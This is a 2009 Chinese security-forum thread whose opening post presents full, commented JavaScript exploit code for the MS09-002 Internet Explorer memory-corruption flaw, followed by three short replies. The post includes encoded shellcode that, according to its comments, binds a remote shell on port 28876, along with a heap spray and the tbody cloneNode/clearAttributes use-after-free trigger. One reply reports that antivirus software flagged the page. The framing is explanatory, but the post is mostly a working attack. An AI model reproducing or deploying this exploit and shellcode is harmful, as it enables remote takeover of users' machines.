飘云阁

 找回密码
 加入我们

QQ登录

只需一步,快速开始

查看: 2451|回复: 3

[原创] MS09-002 exploit 源码分析

[复制链接]

该用户从未签到

发表于 2009-6-13 14:13:45 | 显示全部楼层 |阅读模式
以前写的文章,很少发帖,随便拿出来晒晒,大侠飘过……

// MS09-002 exploit code:
  <script language="JavaScript">
  
  // 绑定 win32系统上的 28876/tcp端口,用于反弹连接的shellcode
  // 你可以根据自己的意愿来选择不同功能的shellcode,如果你比较懒的话,可以直接去Metasploit上
  // 拷贝一份shellcode,在我的博客[url]http://riusksk.blogbus.com[/url]有链接
  var shellcode=unescape("%u4343%u4343%u43eb%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528b%u0120%u31ea%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c%u6850%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe%uff90%uffff%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0%u40c4%ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050%u4050%u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6%u50c0%u3550%u0102%ucc70%uccfe%u8950%u50e0%u106a%u5650%u81bb%u2cb4%ue8be%uff42%uffff%uc031%u5650%ud3bb%u58fa%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56%uf347%uc656%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964%u41e1%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353%u5343%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe%u5bff%uc031%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff%uef87%u12bb%u6d6b%ue8d0%ufec2%uffff%uc483%u615c%u89eb");
   //下面的代码主要用于实现 heap spray,即用js分配内存,所分配的内存均放入堆中,
  //然后用各带有shellcode的堆块去覆盖一大片内存地址,Javascript分配内存从低址向高址分配,
  //申请的内存空间超出了200M,即大于了0x0C0C0C0C时,0x0C0C0C0C就会被覆盖掉,
  //因此只要让IE执行到0x0C0C0C0C就可以执行shellcode,
  //创建一数组对象array,而这些动态申请到的对象/变量都会被分配到堆中
  var ret = 0x0c0c0c0c; CollectGarbage(); //将所有申请到的变量所占的空间释放掉
  var heap_chunk_size = 0x40000;     //每块用来填充的堆块大小
  var nopsled_size = heap_chunk_size - (shellcode.length * 2)
  var nopsled = unescape("%u0c0c%u0c0c");
  while (nopsled.length < nopsled_size)
          nopsled += nopsled;//每一堆块里面除了shellcode就放%u0C0C%u0C0C           
  heap_chunks = new Array();//创建新数组,申请到的空间也是被分配到堆中
  heap_chunks_num = (ret - heap_chunk_size)/heap_chunk_size;//将被覆盖掉的总内存大小
  for (var i = 0 ; i < heap_chunks_num ; i++)
        heap_chunks[i] = nopsled +shellcode;//用很多上面的堆块去覆盖掉一大片的内存地址
  var s1=unescape("%u0c0c%u0c0cAAAAAAAAAAAAAAAAAAAAAAAAA");
  var a1 = new Array();
  for(var x=0;x<500;x++)
  a1.push(document.createElement("img")); //循环创建 img元素
  o1=document.createElement("tbody"); //创建tbody元素
  o1.click; //触发click事件
  var o2 = o1.cloneNode(); //复制 o1对象给o2对象,由于我们并没有为click指定处理函数,因此两对象指向同一虚表地址
  o1.clearAttributes(); //清除o1属性
  o1=null; //将o1置null,此时其所占用的内存并不会释放,当下次再次定义变量时,就会覆盖此变量所在的内存,如果不设为null,JS再次定义变量时,就会开辟出一个新的内存空间
  CollectGarbage(); //释放内存空间
  for(var x=0;x<a1.length;x++)
  a1[x].src=s1; //循环为img.src属性赋予一长串值,覆盖的就是原o1的内存空间,当触发click后,就会去寻找s1中的地址,即0x0c0c0c0c,而此时它已经被我们通过heap spray技术覆盖掉了
  o2.click; //由于我们并没有为click指定处理函数,那么o1与o2对象指向的虚表中存在着click虚函数的地址,当两对象接到click事件后,会通过对象中的虚表指针来定位虚表,并在虚表中寻找处理函数。因此只要将虚表中的click函数地址替换为我们的shellcode的地址,即0x0c0c0c0c,就可以实现我们攻击目的了。
  </script>
PYG19周年生日快乐!
  • TA的每日心情
    开心
    5 天前
  • 签到天数: 1619 天

    [LV.Master]伴坛终老

    发表于 2009-6-13 19:13:19 | 显示全部楼层
    打开楼主这个贴子,费尔就叫了,下载到临时文件夹里的文件立马被删/:L
    PYG19周年生日快乐!

    该用户从未签到

     楼主| 发表于 2009-6-13 19:28:24 | 显示全部楼层
    哈哈……
    PYG19周年生日快乐!

    该用户从未签到

    发表于 2009-7-13 15:05:24 | 显示全部楼层
    看的不是很懂 不过还是支持楼主的辛苦
    PYG19周年生日快乐!
    您需要登录后才可以回帖 登录 | 加入我们

    本版积分规则

    快速回复 返回顶部 返回列表